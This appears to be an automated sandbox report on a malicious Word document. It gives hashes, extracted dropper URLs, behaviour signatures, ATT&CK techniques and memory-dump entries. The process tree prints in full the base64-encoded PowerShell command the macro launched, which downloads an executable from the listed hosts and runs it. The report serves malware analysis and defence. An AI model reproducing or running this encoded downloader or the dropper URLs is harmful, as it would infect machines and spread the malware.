Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-05-2024 05:20

General

  • Target

    44b255cd98fa287a1fa1ce9880cf876d_JaffaCakes118.doc

  • Size

    146KB

  • MD5

    44b255cd98fa287a1fa1ce9880cf876d

  • SHA1

    3fcd2f010e500500cba970330302ec0a2be952a0

  • SHA256

    2740a4f84916260f7c2620ac601b2a6018e8ea37064817a34799eb260cf72a62

  • SHA512

    973379b6f82bedaa655226a96224f95663c389c749fb7b9062ff6676ac8b6811b0ec230d45b992257da50e8306d319c83b67ac13cd247c65c4a9fbf25706be50

  • SSDEEP

    3072:C7BEXb52k407g7Shs9RAQP4Ht4E/zovcdR:0cb52khFhs/A64HyE/svcD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://purphost.com/Kt1eWvVze

exe.dropper

http://godfreybranco.com/yTX8dwH

exe.dropper

http://psi_test.farseasty.com/TbNnQfP

exe.dropper

http://facetickle.com/BNdtnlPbsh

exe.dropper

http://taoweb3trieu.com/mETrZmz

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\44b255cd98fa287a1fa1ce9880cf876d_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exe
      PoWersheLL -e JABhAEcAZgBRAFoAWQBIAGkAPQAoACcAVwAnACsAJwBDAEgAWABMAEgAJwApADsAJABCAG0AaAB2AFMAVgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABFAGEAMABqAHUATAA5AD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AcAB1AHIAcAAnACsAJwBoAG8AcwB0AC4AYwBvAG0ALwBLAHQAMQBlAFcAdgBWAHoAZQBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwArACcAZwAnACsAJwBvAGQAZgAnACsAJwByAGUAeQBiAHIAYQBuAGMAbwAuAGMAbwBtAC8AeQBUAFgAOAAnACsAJwBkAHcASABAAGgAdAB0AHAAOgAvAC8AcABzAGkAXwB0AGUAcwAnACsAJwB0AC4AZgBhAHIAJwArACcAcwBlAGEAcwB0AHkALgBjAG8AbQAvAFQAYgBOACcAKwAnAG4AUQBmAFAAQABoAHQAJwArACcAdABwACcAKwAnADoALwAnACsAJwAvAGYAYQAnACsAJwBjAGUAdAAnACsAJwBpAGMAawBsAGUALgBjAG8AbQAvACcAKwAnAEIATgBkAHQAbgBsACcAKwAnAFAAYgBzAGgAQABoAHQAJwArACcAdAAnACsAJwBwADoALwAvAHQAYQBvAHcAZQBiADMAJwArACcAdAByACcAKwAnAGkAZQB1AC4AJwArACcAYwBvACcAKwAnAG0ALwBtAEUAVAByAFoAJwArACcAbQB6ACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAFUANgBYAFQAUwB1AEsAawA9ACgAJwB3AHAAcgB3AHcARAB0ACcAKwAnAE8AJwApADsAJABpAEMAegBNADQAMwBLACAAPQAgACgAJwAxACcAKwAnADUANAAnACkAOwAkAFQAUgBKAHcAZgBVAD0AKAAnAGkAbQBGAHoARgAnACsAJwB2ACcAKwAnAGsAJwApADsAJABLAGoAdwBaAHMASABxAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQAaQBDAHoATQA0ADMASwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGMAagA4AFIANQBPACAAaQBuACAAJABFAGEAMABqAHUATAA5ACkAewB0AHIAeQB7ACQAQgBtAGgAdgBTAFYALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYwBqADgAUgA1AE8ALAAgACQASwBqAHcAWgBzAEgAcQApADsAJABwAHUARwB3AGQASgA9ACgAJwBZAG4AUQAnACsAJwBFAG8ANwA4ACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEsAagB3AFoAcwBIAHEAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABLAGoAdwBaAHMASABxADsAJABBAG4ATwBpAHoAWgBtAD0AKAAnAFMAMQAnACsAJwAyAGwAQgBNACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABXAFkAegBWADUASQBqAD0AKAAnAGsAJwArACcAUgBZAEEAcAAnACsAJwBIACcAKQA7AA==
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2400

Network

MITRE ATT&CK Matrix ATT&CK v13

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD7357.tmp\iso690.xsl
    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zljmp1mw.yuc.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1644-17-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-5-0x00007FFBC98AD000-0x00007FFBC98AE000-memory.dmp
    Filesize

    4KB

  • memory/1644-0-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-19-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-6-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-7-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-8-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-10-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-9-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-11-0x00007FFB87400000-0x00007FFB87410000-memory.dmp
    Filesize

    64KB

  • memory/1644-13-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-12-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-14-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-15-0x00007FFB87400000-0x00007FFB87410000-memory.dmp
    Filesize

    64KB

  • memory/1644-16-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-18-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-1-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-36-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-4-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-37-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-40-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-41-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-568-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-3-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-567-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-564-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-61-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-62-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-504-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-2-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-541-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/1644-565-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/1644-566-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp
    Filesize

    64KB

  • memory/2400-55-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB

  • memory/2400-45-0x0000029D76D40000-0x0000029D76D62000-memory.dmp
    Filesize

    136KB

  • memory/2400-42-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp
    Filesize

    2.0MB